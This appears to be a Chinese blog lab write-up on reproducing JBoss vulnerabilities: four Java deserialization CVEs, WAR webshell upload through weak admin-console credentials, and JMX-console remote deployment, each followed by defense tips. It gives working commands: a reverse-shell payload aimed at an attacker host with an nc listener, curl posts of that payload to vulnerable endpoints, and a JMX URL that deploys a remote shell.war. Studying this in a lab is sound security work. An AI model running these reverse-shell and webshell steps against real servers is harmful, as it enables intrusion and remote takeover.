JBoss中间件漏洞汇总

目录

一、JBoss是什么?

二、安装环境

1. Jdk

2. 下载JBoos4、6,并进行配置

三、 反序列漏洞

1. HttpInvoker 组件(CVE-2017-12149)

2. JMXInvokerServlet组件(CVE-2015-7501)

3. JBossMQ(CVE-2017-7504)

4. EJBInvokerServlet组件(CVE-2013-4810)

四、 War后门文件部署

1. admin-cosole(爆红接着传)

2. JMX-console

jBoss4

JBoos6

防御

3. JMX Console HtmlAdaptor Getshell利用(CVE-2007-1036)









一、JBoss是什么?

JBoss是一套开源的企业级Java中间件系统,用于实现基于SOA的企业应用和服务,基于J2EE的开放源代码的应用服务器。JBoss代码遵循LGPL许可,可以在任何商业应用中免费使用。JBoss是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB3的规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。


二、安装环境

JBoss下载地址:https://jbossas.jboss.org/downloads/

jdk下载地址:https://www.oracle.com/java/technologies/downloads/


1. Jdk

由于漏洞不是JBoss4就是6的环境,没办法得整两套,如果硬件支持的话,建议开两个虚拟机,就非常方便哈。环境是重点,就吃了没仔细看说明的亏,用了jdk1.8,导致后面访问JMX-console报错,放开那个雷,让我来踩

jdk1.6支持JBoos4

jdk1.7支持JBoos6

JBoss中间件漏洞汇总_第1张图片

JBoss中间件漏洞汇总_第2张图片

2. 下载JBoos4、6,并进行配置

我用了JBoss AS 6.1.0.Final、4.2.3,你也可以用其他,可能复现和我点出入,建议第一次可以可以按照我的走,后面可以尝试下其他版本(如果是大佬那就当我没说)

JBoss中间件漏洞汇总_第3张图片

JBoss AS 6.1.0.Final直接下载zip,4.2.3还得在选择一次,我选的jboss-4.2.3.GA-jdk6

 JBoss中间件漏洞汇总_第4张图片

JBoss中间件漏洞汇总_第5张图片

都下载后配置环境变量,添加一个JBOSS_HOME属性,都为bin目录的上一级目录,并在path中添加%JBOSS_HOME%/bin

JBoss中间件漏洞汇总_第6张图片

如果要外网访问的话要修改jboss-6.1.0.Final\server\default\deploy\jbossweb.sar\server.xml文件,把下图红框位置的address属性值改成0.0.0.0即可(4.2.3文件路径为jboss-4.2.3.GA\server\default\deploy\jboss-web.deployer下)

JBoss中间件漏洞汇总_第7张图片

最后,打开双击bin目录下的run.bat,等一小会,你就可以看到此页面

JBoss中间件漏洞汇总_第8张图片

6和4这个主页有点不一样,我这个是6

三、 反序列漏洞

exp:https://github.com/joaomatosf/JavaDeserH2HC

kali :192.168.50.72

靶机 :192.168.50.169

宿主机:192.168.50.59

下载完成后到JavaDeserH2HC下,执行

javac -cp commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java

java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.50.72:12345

生成反序列化payload

 JBoss中间件漏洞汇总_第9张图片

 .:不能省略,至于为什么不清楚,只能借助java大佬的帖子,强行解释了,

这些准备工作完了,就可以开始复现了

1. HttpInvoker 组件(CVE-2017-12149)

漏洞原理

存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了攻击者可以在服务器上执行任意代码。

影响版本

Jboss AS 5.x

Jboss AS 6.x

漏洞验证

访问/invoker/readonly,返回500,说明此页面存在反序列化漏洞

   JBoss中间件漏洞汇总_第10张图片

开两个终端,一个进行监听(nc -lvnp 12345),另一个发payload

curl http://192.168.50.169:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser

@不能省略

 JBoss中间件漏洞汇总_第11张图片

最后,成功反弹shell

防御

  1. 升级最新版本
  2. 删除http-invoker.sar 组件(jboss-6.1.0.Final\server\default\deploy\http-invoker.sar
  3. jboss-6.1.0.Final\server\default\deploy\http-invoker.sar\invoker.war\WEB-INF\web.xmlsecurity-constraint 标签下添加/*

JBoss中间件漏洞汇总_第12张图片

2. JMXInvokerServlet组件(CVE-2015-7501)

漏洞原理

JBoss中/invoker/JMXInvokerServlet路径对外开放,JBoss的jmx组件支持反序列化。JBoss在/invoker/JMXInvokerServlet请求中读取了用户传入的对象,然后我们利用Apache Commons Collections中的Gadget执行任意代码。

影响版本

JBoss Enterprise Application Platform 6.4.4,5.2.0,4.3.0_CP10
JBoss AS (Wildly) 6 and earlier
JBoss A-MQ 6.2.0
JBoss Fuse 6.2.0
JBoss SOA Platform (SOA-P) 5.3.1
JBoss Data Grid (JDG) 6.5.0
JBoss BRMS (BRMS) 6.1.0
JBoss BPMS (BPMS) 6.1.0
JBoss Data Virtualization (JDV) 6.1.0
JBoss Fuse Service Works (FSW) 6.0.0
JBoss Enterprise Web Server (EWS) 2.1,3.0

漏洞验证

访问/invoker/JMXInvokerServlet,返回保存文件,说明接口开放,此接口存在反序列化漏洞。

 

和上面利用方式一样,只是链接不一样

curl http://192.168.50.169:8080/invoker/JMXInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser

 JBoss中间件漏洞汇总_第13张图片

防御

        和上面一样

3. JBossMQ(CVE-2017-7504)

漏洞原理

这个漏洞与CVE-2015-7501一样,都是利用了Apache Commons Collections的基础库进行Java反序列化漏洞的利用。差别在于CVE-2017-7504利用路径是/jbossmq-httpil/HTTPServerILServlet,CVE-2015-7501的利用路径是/invoker/JMXInvokerServlet。

影响版本

Jboss AS 4.x及之前版本

漏洞验证

访问/jbossmq-httpil/HTTPServerILServlet,出现此页面,说明存在该漏洞

 JBoss中间件漏洞汇总_第14张图片

curl http://192.168.50.169:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser

 JBoss中间件漏洞汇总_第15张图片

防御

  1.  升级最新版本

4. EJBInvokerServlet组件(CVE-2013-4810)

漏洞原理

此漏洞和CVE-2015-7501漏洞原理相同,两者的区别就在于两个漏洞选择的进行其中JMXInvokerServlet和EJBInvokerServlet利用的是org.jboss.invocation.MarshalledValue进行的反序列化操作,而web-console/Invoker利用的是org.jboss.console.remote.RemoteMBeanInvocation进行反序列化并上传构造的文件。

影响版本

jboss 6.x 版本

漏洞验证

访问/invoker/EJBInvokerServlet,返回保存文件,说明接口开放,此接口存在反序列化漏洞。

  

curl http://192.168.50.169:8080/invoker/EJBInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser

 JBoss中间件漏洞汇总_第16张图片

防御

        同(CVE-2017-12149)

四、 War后门文件部署

1. admin-cosole(爆红接着传)

复现

admin/admin弱口令登录后台,点击add a new resource上传war包

 JBoss中间件漏洞汇总_第17张图片

上传后报红了,以为不能部署,把我折磨了很久还以为我下的环境有问题,总而言之,警告归警告,该传还得传,最后发现包已经war已经部署到上面去了,发两次,第二次警告会说已经部署

  JBoss中间件漏洞汇总_第18张图片

   JBoss中间件漏洞汇总_第19张图片

 JBoss中间件漏洞汇总_第20张图片

接下来就连你的马子

JBoss中间件漏洞汇总_第21张图片

防御

        1. 改强密码(jboss-6.1.0.Final\server\default\conf\props\jmx-console-users.properties

        2. 删除admin-console页面

2. JMX-console

jBoss4

 复现

点击jboss.deployer下面的链接

JBoss中间件漏洞汇总_第22张图片

进去后寻找addURL(),修改ParamValue值为你远程war链接,点击Invoke,最后回到这个页面寻找Apply changes点击

 JBoss中间件漏洞汇总_第23张图片

这些都干了,来页面joss.web.deployment

 JBoss中间件漏洞汇总_第24张图片

于是乎访问你的马子,他就成了

 JBoss中间件漏洞汇总_第25张图片

这套操作适用于JBoos6,只是有点小出入,不用点击Apply changes

 JBoss中间件漏洞汇总_第26张图片

JBoos6

复现

寻找jboss.system,点击service=MainDeployer

  JBoss中间件漏洞汇总_第27张图片

找到该函数deploy,并在输入框里面写入远程war包链接最后点击Invoke

 

或者访问或者访问/jmx-console/HtmlAdaptor?

action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://192.168.50.59/shell.war进行部署

 

最后,访问你的马子

 JBoss中间件漏洞汇总_第28张图片

防御

        关闭JMX-console和web-console页面

3. JMX Console HtmlAdaptor Getshell利用(CVE-2007-1036)

复现

访问

/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.admin:service=DeploymentFileRepository定位store函数

 JBoss中间件漏洞汇总_第29张图片

p1传入的部署war包的名字,p2传入的是上传文件的文件名,p3传入的是上传文件的后缀,p4传入的是上传文件的内容

JBoss中间件漏洞汇总_第30张图片

注:冰蝎马上传后页面异常,无法连接

 防御

        官方发布修复补丁

        http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1036

大家可以关注菜鸡的公众号,有什么好想法也可以让我学习一下,有什么问题可以一块解决,由于二维码违规,下面是base64编码的文字

5b6u5L+h5YWs5LyX5Y+34oCc5a6J5YWo5re35a2Q4oCd77yM5Y+v5Lul55So5b6u5L+h5pCc5LiA5pCc77yM5q2j5Zyo5a6M5ZaE5LitLi4uLi4u











 

你可能感兴趣的:(渗透,web安全)